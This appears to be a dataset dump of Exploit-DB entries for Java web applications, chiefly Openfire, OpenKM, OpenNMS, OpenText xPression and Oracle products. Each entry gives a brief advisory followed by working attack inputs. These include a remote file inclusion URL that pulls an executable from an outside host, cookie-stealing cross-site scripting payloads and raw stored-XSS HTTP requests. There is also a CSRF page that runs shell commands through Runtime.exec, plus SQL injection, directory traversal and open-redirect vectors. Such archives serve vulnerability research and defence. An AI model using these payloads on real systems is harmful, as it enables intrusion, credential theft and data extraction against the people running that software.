deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38189
Description: Openfire 3.10.2 - Remote File Inclusion
Type: webapps
Platform: jsp
Date: 2015-09-15
Author: hyp3rlinx

Exploit:
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-OPENFIRE-RFI.txt



Vendor:
================================
www.igniterealtime.org/projects/openfire
www.igniterealtime.org/downloads/index.jsp



Product:
================================
Openfire 3.10.2

Openfire is a real time collaboration (RTC) server licensed under the Open
Source Apache License.
It uses the only widely adopted open protocol for instant messaging, XMPP
(also called Jabber).


Vulnerability Type:
=================================
Remote File Inclusion



CVE Reference:
==============
N/A





Vulnerability Details:
=====================

In "available-plugins.jsp" there is no validation for plugin downloads,
allowing arbitrary file downloads
from anywhere on the internet.

On line 40: all that needs to be satisfied is the paramater is not null.

boolean downloadRequested = request.getParameter("download") != null;
String url = request.getParameter("url");


If the above condition check returns true, the application downloads
whatever file you give it.

line 54:

    if (downloadRequested) {
        // Download and install new plugin
        updateManager.downloadPlugin(url);
        // Log the event
        webManager.logEvent("downloaded new plugin from "+url, null);
    }




Exploit code(s):
================

1) download arbitrary filez

e.g.

http://localhost:9090/available-plugins.jsp?download=1&url=http://ghostofsin.abyss/abysmalgod.exe

Our RFI will be downloaded to "openfire\plugins" directory.




Disclosure Timeline:
=========================================================
Vendor Notification:  NA
Sept 14, 2015  : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
=========================================================
High



Description:
==========================================================


Request Method(s):              [+]  GET


Vulnerable Product:             [+]  Openfire 3.10.2


Vulnerable Parameter(s):        [+]  download, url


Affected Area(s):               [+]  Server


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx
Exploit-DB #38188
Description: Openfire 3.10.2 - Unrestricted Arbitrary File Upload
Type: webapps
Platform: jsp
Date: 2015-09-15
Author: hyp3rlinx

Exploit:
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-OPENFIRE-FILE-UPLOAD.txt



Vendor:
=========================================
www.igniterealtime.org/projects/openfire
www.igniterealtime.org/downloads/index.jsp



Product:
================================
Openfire 3.10.2

Openfire is a real time collaboration (RTC) server licensed under the Open
Source Apache License.
It uses the only widely adopted open protocol for instant messaging, XMPP
(also called Jabber).



Vulnerability Type:
===================
Unrestricted File Upload



CVE Reference:
==============
N/A




Vulnerability Details:
=====================

Application specifies Plugin files (.jar) can be uploaded directly by using
the form, however so can the following.

.exe
.php
.jsp
.py
.sh



Exploit code(s):
===============

1) choose some malicious file using the File browser
2) click 'upload plugin'

http://localhost:9090/plugin-admin.jsp

Our malicious uploaded files will be stored under /openfire/plugins
directory.



Disclosure Timeline:
=========================================================

Vendor Notification:  NA
Sept 14, 2015 : Public Disclosure



Exploitation Technique:
=======================
Local



Severity Level:
=========================================================
Medium



Description:
==========================================================


Request Method(s):              [+] POST


Vulnerable Product:             [+] Openfire 3.10.2


Vulnerable Parameter(s):        [+] fileName


Affected Area(s):               [+] Server


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx
Exploit-DB #32249
Description: Openfire 3.5.2 - 'login.jsp' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2008-08-14
Author: Daniel Henninger

Exploit:
source: https://www.securityfocus.com/bid/30696/info

Openfire is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Openfire 3.5.2 is vulnerable; prior versions are also affected. 

http://www.example.com/login.jsp?url=%22%3E%3Cscript%20type=%22text/javascript%22%3Ealert(%22hi%22)%3C/script%3E
Exploit-DB #32677
Description: Openfire 3.6.2 - 'group-summary.jsp' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2009-01-08
Author: Federico Muttis

Exploit:
source: https://www.securityfocus.com/bid/32937/info

Openfire is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Openfire 3.6.2 is vulnerable; prior versions may also be affected. 

http://www.example.com/group-summary.jsp?search=%22%3E%3C[xss]
Exploit-DB #32679
Description: Openfire 3.6.2 - 'log.jsp' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2009-01-08
Author: Federico Muttis

Exploit:
source: https://www.securityfocus.com/bid/32940/info

Openfire is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Openfire 3.6.2 is vulnerable; prior versions may also be affected.

http://www.example.com/log.jsp?log=%3Cimg%20src=%27%27%20onerror=%27[xss]
Exploit-DB #32680
Description: Openfire 3.6.2 - 'log.jsp' Directory Traversal
Type: webapps
Platform: jsp
Date: 2009-01-08
Author: Federico Muttis

Exploit:
source: https://www.securityfocus.com/bid/32945/info

Openfire is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.

Openfire 3.6.2 is vulnerable; prior versions may also be affected. 

http://www.example.com/log.jsp?log=..\..\..\windows\debug\netsetup
Exploit-DB #32678
Description: Openfire 3.6.2 - 'user-properties.jsp' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2009-01-08
Author: Federico Muttis

Exploit:
source: https://www.securityfocus.com/bid/32938/info

Openfire is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Openfire 3.6.2 is vulnerable; prior versions may also be affected.

http://www.example.com/user-properties.jsp?username=%3C[xss]
Exploit-DB #49233
Description: Openfire 4.6.0 - 'groupchatJID' Stored XSS
Type: webapps
Platform: jsp
Date: 2020-12-11
Author: j5s

Exploit:
# Exploit Title: Openfire 4.6.0 - 'groupchatJID' Stored XSS
# Date: 2020/12/11
# Exploit Author: j5s
# Vendor Homepage: https://github.com/igniterealtime/Openfire
# Software Link: https://www.igniterealtime.org/downloads/
# Version: 4.6.0

POST /plugins/bookmarks/create-bookmark.jsp HTTP/1.1
Host: 192.168.137.137:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101
Firefox/68.0
Content-Length: 144
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=node087pcmtxo1yry1fzb5tlt5bz4c19.node0;
csrf=j0MLh55rjr1bMx0; DWRSESSIONID=oWZp3ax5c9EpPgMNZv4T4BASYrwhhv3K8pn
Origin: http://192.168.137.137:9090
Referer:
http://192.168.137.137:9090/plugins/bookmarks/create-bookmark.jsp?type=group_chat
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

createGroupchatBookmark=%E5%BB%BA%E7%AB%8B&groupchatJID=%22%3E%3CsCrIpT%3Evkhewwrqrb%3C%2FsCrIpT%3E&groupchatName=&groups=&type=groupchat&users=


Vulnerable parameters：groupchatJID

payload："><ScRiPt>alert(document.cookie)</ScRiPt>
Exploit-DB #49229
Description: Openfire 4.6.0 - 'path' Stored XSS
Type: webapps
Platform: jsp
Date: 2020-12-10
Author: j5s

Exploit:
# Exploit Title: Openfire 4.6.0 - 'path' Stored XSS
# Date: 20201209
# Exploit Author: j5s
# Vendor Homepage: https://github.com/igniterealtime/Openfire
# Software Link: https://www.igniterealtime.org/downloads/
# Version: 4.6.0

POST /plugins/nodejs/nodejs.jsp HTTP/1.1
Host: 192.168.137.137:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101
Firefox/68.0
Content-Length: 60
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=node087pcmtxo1yry1fzb5tlt5bz4c19.node0;
csrf=dWiihlZamEAB0mrO; DWRSESSIONID=oWZp3ax5c9EpPgMNZv4T4BASYrwhhv3K8pn;
jiveforums.admin.logviewer=debug.size=0&all.size=524269&warn.size=856459&error.size=0&info.size=145819
Origin: http://192.168.137.137:9090
Referer: http://192.168.137.137:9090/plugins/nodejs/nodejs.jsp
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

path=%22%3E%3CScRiPt%3Eaozunukfyd%3C%2FsCrIpT%3E&update=Save

payload："><ScRiPt>alert(document.cookie)</ScRiPt>
Exploit-DB #49235
Description: Openfire 4.6.0 - 'sql' Stored XSS
Type: webapps
Platform: jsp
Date: 2020-12-11
Author: j5s

Exploit:
# Exploit Title: Openfire 4.6.0 - 'sql' Stored XSS
# Date: 20201211
# Exploit Author: j5s
# Vendor Homepage: https://github.com/igniterealtime/Openfire
# Software Link: https://www.igniterealtime.org/downloads/
# Version: 4.6.0

POST /plugins/dbaccess/db-access.jsp HTTP/1.1
Host: 192.168.137.137:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101
Firefox/68.0
Content-Length: 78
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=node087pcmtxo1yry1fzb5tlt5bz4c19.node0;
csrf=zsq8G2h1dxK9JST; DWRSESSIONID=oWZp3ax5c9EpPgMNZv4T4BASYrwhhv3K8pn;
jiveforums.admin.logviewer=debug.size=0&all.size=524269&warn.size=856459&error.size=0&info.size=145819
Origin: http://192.168.137.137:9090
Referer: http://192.168.137.137:9090/plugins/dbaccess/db-access.jsp
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

execute=Execute+SQL&sql=%3C%2FTeXtArEa%3E%3CsCrIpT%3Etkfbrxuddq%3C%2FScRiPt%3E


Vulnerable parameters：sql

payload："><ScRiPt>alert(document.cookie)</ScRiPt>
Exploit-DB #49234
Description: Openfire 4.6.0 - 'users' Stored XSS
Type: webapps
Platform: jsp
Date: 2020-12-11
Author: j5s

Exploit:
# Exploit Title: Openfire 4.6.0 - 'users' Stored XSS
# Date: 2020/12/11
# Exploit Author: j5s
# Vendor Homepage: https://github.com/igniterealtime/Openfire
# Software Link: https://www.igniterealtime.org/downloads/
# Version: 4.6.0

POST /plugins/bookmarks/create-bookmark.jsp HTTP/1.1
Host: 192.168.137.137:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Length: 144
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=node087pcmtxo1yry1fzb5tlt5bz4c19.node0;
csrf=j0MLh55rjr1bMx0; DWRSESSIONID=oWZp3ax5c9EpPgMNZv4T4BASYrwhhv3K8pn
Origin: http://192.168.137.137:9090
Referer: http://192.168.137.137:9090/plugins/bookmarks/create-bookmark.jsp?type=group_chat
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

createGroupchatBookmark=%E5%BB%BA%E7%AB%8B&groupchatJID=&groupchatName=&groups=&type=groupchat&users=%22%3E%3CScRiPt%3Ekcxbfhabog%3C%2FsCrIpT%3E



Vulnerable parameters：users

payload："><ScRiPt>alert(document.cookie)</ScRiPt>
Exploit-DB #37220
Description: OpenKM 5.1.7 - Cross-Site Request Forgery
Type: webapps
Platform: jsp
Date: 2012-05-03
Author: Cyrill Brunschwiler

Exploit:
source: https://www.securityfocus.com/bid/53602/info

OpenKM is prone to a cross-site request-forgery vulnerability.

Attackers can exploit this issue to perform certain administrative actions and gain unauthorized access to the affected application.

OpenKM 5.1.7 is vulnerable; other versions may also be affected. 

Login as administrator (having the AdminRole) and call the URL in a
different
browser window
http://www.example.com/OpenKM/admin/scripting.jsp?script=String%5B%5D+cmd+%3
D+%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+%22%2Fbin%2Fecho+pwned+%3E+%2Ftmp%
2Fpoc%22%7D%3B%0D%0ARuntime.getRuntime%28%29.exec%28cmd%29%3B
 
Alternatively the administrator could browse a prepared HTML page in a
new tab
<html>
<body>
<script>
img = new Image();
img.src="http://www.example.com/OpenKM/admin/scripting.jsp?script=String%5B%
5D+cmd+%3D+%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+%22%2Fbin%2Fecho+pwned+%3
E+%2Ftmp%2Fpoc%22%7D%3B%0D%0ARuntime.getRuntime%28%29.exec%28cmd%29%3B"
</script>
</body>
</html>
 
The above exploit does nothing else than just creating a file in /tmp
 
String[] cmd = {"/bin/sh", "-c", "/bin/echo pwned > /tmp/poc"};
Runtime.getRuntime().exec(cmd);
 
Some might also want to browse directories
http://www.example.com/OpenKM/admin/scripting.jsp?script=import+java.io.*%3B
%0D%0A%0D%0Atry+%7B%0D%0A++++String+ls_str%3B%0D%0A++++Process+ls_proc+%
3D+Runtime.getRuntime%28%29.exec%28%22%2Fbin%2Fls+-lah%22%29%3B%0D%0A+++
+DataInputStream+ls_in+%3D+new+DataInputStream%28ls_proc.getInputStream%
28%29%29%3B%0D%0A%0D%0A++++while+%28%28ls_str+%3D+ls_in.readLine%28%29%2
9+%21%3D+null%29+++++++++++%0D%0A++++++++print%28ls_str+%2B+%22%3Cbr%3E%
22%29%3B%0D%0A%0D%0A%7D+catch+%28IOException+e%29+%7B%0D%0A%7D
Exploit-DB #32425
Description: OpenNMS 1.5.x - 'filter' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2008-09-25
Author: d2d

Exploit:
source: https://www.securityfocus.com/bid/31410/info
  
OpenNMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
Versions prior to OpenNMS 1.5.94 are vulnerable. 

http://www.example.com/opennms/event/list?sortby=id&limit=10&filter=msgsub%3D%3Cscript%3Ealert%28%27hi%27%29%3B%3C%2Fscript%3E&filter=iplike%3D*.*.*.*
Exploit-DB #32423
Description: OpenNMS 1.5.x - 'j_username' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2008-09-25
Author: d2d

Exploit:
source: https://www.securityfocus.com/bid/31410/info

OpenNMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to OpenNMS 1.5.94 are vulnerable. 

http://www.example.com/opennms/j_acegi_security_check?j_username=test'><script>alert('hi');</script>&j_password=test
Exploit-DB #32424
Description: OpenNMS 1.5.x - 'Username' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2008-09-25
Author: d2d

Exploit:
source: https://www.securityfocus.com/bid/31410/info
 
OpenNMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Versions prior to OpenNMS 1.5.94 are vulnerable. 

http://www.example.com/opennms/notification/list.jsp?username=%3Cscript%3Ealert%28%27hi%27%29%3B%3C%2Fscript%3E
Exploit-DB #42940
Description: OpenText Document Sciences xPression 4.5SP1 Patch 13 - 'documentId' SQL Injection
Type: webapps
Platform: jsp
Date: 2017-10-02
Author: Marcin Woloszyn

Exploit:
Title: OpenText Document Sciences xPression (formerly EMC Document
Sciences xPression) - SQL Injection
Author: Marcin Woloszyn
Date: 27. September 2017
CVE: CVE-2017-14758

Affected Software:
==================
OpenText Document Sciences xPression (formerly EMC Document Sciences xPression)

Exploit was tested on:
======================
v4.5SP1 Patch 13 (older versions might be affected as well)

SQL Injection:
==============

Due to lack of prepared statements an application is prone to SQL
Injection attacks.
Potential attacker can retrieve data from application database by
exploiting the issue.

Vector :
--------

https://[...]/xAdmin/html/cm_doclist_view_uc.jsp?cat_id=503&documentId=[PII_REDACTED]6%20and%201=1&documentType=xDesignPublish&documentName=ContractRealEstate

            ^
Results can be retrieved using blind SQL injection method.

Fix:
====
https://knowledge.opentext.com/knowledge/llisapi.dll/Open/68982774

Contact:
========
mw[at]nme[dot]pl
Exploit-DB #42939
Description: OpenText Document Sciences xPression 4.5SP1 Patch 13 - 'jobRunId' SQL Injection
Type: webapps
Platform: jsp
Date: 2017-10-02
Author: Marcin Woloszyn

Exploit:
Title: OpenText Document Sciences xPression (formerly EMC Document
Sciences xPression) - SQL Injection
Author: Marcin Woloszyn
Date: 27. September 2017
CVE: CVE-2017-14757

Affected Software:
==================
OpenText Document Sciences xPression (formerly EMC Document Sciences xPression)

Exploit was tested on:
======================
v4.5SP1 Patch 13 (older versions might be affected as well)

SQL Injection:
==============

Due to lack of prepared statements an application is prone to SQL
Injection attacks.
Potential attacker can retrieve data from application database by
exploiting the issue.

Vector :
--------

True: http://[...]/xDashboard/html/jobhistory/downloadSupportFile.action?jobRunId=[PII_REDACTED][PII_REDACTED][PII_REDACTED]+and+1=1
False: http://[...]/xDashboard/html/jobhistory/downloadSupportFile.action?jobRunId=[PII_REDACTED][PII_REDACTED][PII_REDACTED]+and+1=2

Additionally:

http://[...]/xDashboard/html/jobhistory/downloadSupportFile.action?jobRunId=[PII_REDACTED][PII_REDACTED][PII_REDACTED]aaa

Results in the following error in response:

HTTP/1.1 200 OK
[...]
  <b>Errors:&nbsp;</b>

  See nested exception&#x3b; nested exception is&#x3a;
java.lang.RuntimeException&#x3a;
com.dsc.uniarch.cr.error.CRException&#x3a; CRReportingSL&#x3a; Method
getJobRunsByIds did not succeed because of a database operation
failure.&#x3b;
&#x9;---> nested com.dsc.uniarch.cr.error.CRSyntaxException&#x3a;
Database syntax error &#x3a;SELECT  JOBRUN_ID, JOB_NAME,
PUBLISH_PROFILE, PUBLISH_TYPE, START_TIME, END_TIME, HAS_DISTRIBUTION,
DISTRIBUTION_NUMBER, STATUS, ERROR, REPORTING_LEVEL, THREAD_ID, JOB_ID
FROM T_JOBRUN WHERE
JOBRUN_ID&#x3d;[PII_REDACTED][PII_REDACTED][PII_REDACTED]aaa.&#x3b;
&#x9;---> nested java.sql.SQLSyntaxErrorException&#x3a;
ORA-00933&#x3a; SQL command not properly ended

An attacker can see whole query and injection point. This can also be
used for error-based data extraction.

Fix:
====
https://knowledge.opentext.com/knowledge/llisapi.dll/Open/68982774

Contact:
========
mw[at]nme[dot]pl
Exploit-DB #26972
Description: oracle Application server discussion forum portlet - Multiple Vulnerabilities
Type: webapps
Platform: jsp
Date: 2005-12-23
Author: Johannes Greil

Exploit:
source: https://www.securityfocus.com/bid/16048/info

Oracle Application Server Discussion Forum Portlet is affected by multiple remote vulnerabilities.

The following specific vulnerabilities were identified:

The application is prone to a cross-site scripting vulnerability.

Discussion Forum Portlet is also affected by multiple HTML injection vulnerabilities.

The application is vulnerable to a source code disclosure vulnerability as well.

All versions of Oracle Application Server Discussion Forum Portlet are considered to be vulnerable. It should be noted that Oracle Application Server Discussion Forum Portlet is not meant to be used in a production environment. 

Cross-site scripting:
http://www.example.com/portal/page?_pageid=XXX,XXX&_dad=portal&_schema=PORTAL&
df_next_page=htdocs/forums.jsp&
RowKeyValue=<script>alert(document.cookie)</script>

Source code disclosure:
http://www.example.com/portal/page?_pageid=XXX,XXX&_dad=portal&_schema=PORTAL&
df_next_page=htdocs/search.jsp%00
Exploit-DB #43592
Description: Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect
Type: webapps
Platform: jsp
Date: 2018-01-15
Author: Andrew Gill

Exploit:
# Exploit Title: Oracle E-Business suite Open Redirect
# Google Dork: inurl:OA_HTML/cabo/
# Date: April 2017
# Exploit Author: [author]
# Vendor Homepage: http://www.oracle.com/technetwork/security-advisory/cpuapr2[PII_REDACTED].html
# Software Link: [download link if available]
# Version: Oracle E-Business Suite  (REQUIRED)
# Tested on: [relevant os]
# CVE :  CVE-2017-3528

The exploit can be leveraged for an open redirect using the following
exploit path:

https://targetsite/OA_HTML/cabo/jsps/a.jsp?_t=fredRC&configName=&redirect=/\example.com

Oracle E-Business suite is vulnerable to an open redirect issue,
specifically the redirect parameter allows any domain to be supplied
and it will be rendered on the target's site.

Note I was also credited for this CVE, see the Oracle
CPU(http://www.oracle.com/technetwork/security-advisory/cpuapr2[PII_REDACTED].html)